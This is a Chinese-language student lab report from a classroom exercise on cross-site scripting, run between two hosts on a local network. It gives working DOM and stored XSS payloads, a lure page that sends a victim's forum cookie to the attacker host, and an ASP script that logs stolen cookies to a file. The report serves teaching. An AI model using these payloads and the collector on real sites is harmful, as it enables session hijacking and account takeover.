【实验目的】
了解什么是 XSS;掌握盗取 Cookie 的方法;掌握脚本攻击的实现方法。
【实验内容】
本次实验为两人组队实验,主机A为我的主机,主机B为队友的主机。使用ipconfig查看两人主机的IP(截图以主机A为例),可以得到主机A的IP为169.254.236.92,主机B的IP为169.254.48.46。
一、认识XSS
1. 地址栏中执行脚本
主机A在浏览器地址栏中输入“javascript:alert('xss')”确定后可以看到浏览器弹出了一个内容为xss的对话框,如下图所示。这说明在浏览器地址栏中输入可执行脚本效果与把该脚本插入网页中去执行是一样的,这就为XSS提供了基础。
2. 对DOM技术的利用
(1)主机A右键“我的电脑”->“管理”->“服务和应用程序”->“服务”,检查Kingsoft Uplive Service服务是否为停止状态,如服务已经启动,将其停止。
(2)主机A启动“木马网站2”(启动方法:按Windows+R,输入inetmgr),
并将下面的代码保存为xsscks.asp放入“木马网站2”的虚拟目录下(D:\ExpNIC\Common\Web\木马网站):
<HTML>
<TITLE>Welcome!</TITLE>
<script>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
<BR>
欢迎登录
</HTML>
主机A在浏览器地址栏中输入http://主机A的IP:9090/xsscks.asp?name=username访问xsscks.asp,结果该页面利用DOM技术中的document.URL对象取出name参数后面的字符串(这里是E42114xxx) ,然后用document.write函数将其显示到网页中。
(3)主机A在浏览器中输入“http://主机A的IP:9090/xsscks.asp?name=<script>alert(document.cookie)</script>”,这样,代码<script>alert(document.cookie)</script>将被插入到当前的网页中,浏览器直接执行了这段代码后,就会将用户的cookie信息直接显示出来,XSS攻击发生了。如图所示:
二、盗取Cookie
(1)如果我们把一个IE窗口称作“父页”,那么从该窗口中弹出的页面就应该称作为“子页”,如果父页能在某些条件下控制子页,这就可以让我们精心构造的页面实现XSS。主机A将如下代码保存为jump1.asp,将jump1.asp放入“木马网站2”中,访问jump1.asp,可以看到父页(jump1.asp)弹出了子页,子页打开的是网页A,但3秒之后就转为了网页B,这说明父页能在某些条件下控制子页。jump1.asp代码如下:
<script>
x = window.open('about:blank');
x.location="http://169.254.236.92:9090/xsstest1.html";
setTimeout(function(){x.location="http://169.254.236.92:9090/xsstest2.html";}, 3000)
</script>
结果见上,先打开的是网站A,过了3秒后跳转到了网站B。
(2)父页控制子页的达成条件的关键,一是windows.frames[0]方法没有受到域的限制,二是location指定的地址看起来像个对象而不是参数,根据这两个关键条件,主机A来构造jump2.asp,代码如下:
<script>
x = window.open('about:blank');
x.location="http://169.254.236.92:9090/xsstest1.html";
setTimeout(function(){x.location=new String("javascript:alert(document.cookie)")},3000)
</script>
分析代码,window的对象x所使用的location方法打开的网页与开始弹出的空白页在同一域内,并没有受到域的限制,根据IE6的安全特性,如果window对象打开的窗口是同一个域,那么就可以向打开的这个窗口再注入脚本运行,我们来构造脚本“javascript:alert(document.cookie)”,并让location指定的地址为String对象,代码中的“3000”就是3000毫秒,用来控制在多长时间后执行JavaScript,主机A访问jump2.asp,结果子页弹出了xsstest1.html的cookie,这样,xsstest1.html就因为IE6安全特性的问题而被跨站了。
运行结果如下图所示,弹出了Cookie:
(3)根据以上步骤的原理,主机A来盗取主机B中“默认网站”下的bbs网站中的cookie,主机A把下面的代码保存为get.asp上传至本地“木马网站2”中,这段代码主要是将盗取的cookie保存至主机A服务器的cookie.txt文件中。
<%
testfile=Server.MapPath("cookie.txt")
msg=Request("m")
set fs = server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")
thisfile.close
set fs = nothing
%>
(4)主机A把下面的代码保存为xss.html上传至“木马网站2”中,代码中的“http://主机B的IP/bbs/index.asp”为主机A要获取cookie的主机B中的论坛主页地址;http://主机A的IP:9090/get.asp地址为主机A访问get.asp的地址。
<a href="">主机 B 点击这里</a>
<script>
function win()
{
x = window.open('http://169.254.48.46/bbs/index.asp');
setTimeout(function()
{
x.location=new String("javascript:document.location='http://169.254.236.92:9090/get.asp?m='+escape(document.cookie)")},5000)
}
window.onload=function()
{
for(i=0;i<document.links.length;i++)
{
document.links[i].href="javascript:win()"
}
}
</script>
(5)主机B访问本机“默认站点”中的bbs网站,访问地址为http://主机B的IP/bbs/index.asp,注册用户后,退出并重新使用该账户登录论坛,此时设置cookie为保存一天以上。
(6)主机B在浏览器中访问主机A中的xss.html页面,访问地址为http://169.254.236.92/xss.html,点击网页中的上面的“主机B点击这里”链接(在实际盗取过程中,主机A需要诱骗主机B去点击这个链接),网站跳转至要获得cookie的目标网站,5秒后网页跳转为空页面,主机A查看“木马网站2”下的cookie.txt文件,对主机B的cookie获取成功,获取到的cookie信息如下图所示:
(7)分析cookie信息,可以发现用户名和被加密的密码,利用此cookie信息,黑客可以冒充主机B的身份获得网站或论坛的对应权限。
三、脚本攻击
(1)主机A访问主机B中的论坛,并使用任务二中的用户名登录(这里假设主机A已经知道了主机B注册论坛的用户名与密码),输入验证码,cookie选择“保存一天”登录论坛(无论以何种方式登录论坛,cookie都要设置为保存一天以上),登录后点击论坛菜单中的“用户控制面板”进入用户控制面板后点击“资料修改”也就是说来到mymodify.asp页面,在该页面“签名”选项中输入:
</testarea><script>alert(“跨站就这么简单~”)</script>
点击最下方的“更新”按钮,在跳转的页面中点击“返回上一页”按钮,之后页面弹出如图1所示的提示框(如未弹出请尝试多次刷新),跨站成功,该XSS漏洞是利用mymodify.asp页面在用户输入过程中没有进行script标签过滤导致的,也就是说,主机A可以在<script></script>之间填写任意脚本代码,提交后都会被执行。
(2)主机A根据上述原理在mymodify.asp页面下的“签名”选项中输入如下代码:</textarea><script>x=window.open(‘http://主机A的IP:9090/index.html ’) </script>
该代码为打开主机A中的http://主机A的IP:9090/index.html页面(在实际的攻击过程中,该页面可为一挂马页面)。
(3)主机B用test账号访问自己主机中的论坛,并来到mymodify.asp页面,观察效果,效果为打开了一个新的网页(木马试验页面):
(4)通过以上的实验步骤可以总结出,如果有人窃取了该论坛的某一账号,并对该账号的mymodify.asp做上述修改,在该页面中加入恶意脚本或让其弹出一挂马页面,那么当该账号的拥有者想要修改个人资料时就会弹出挂马的网页,其账号拥有者就会中招。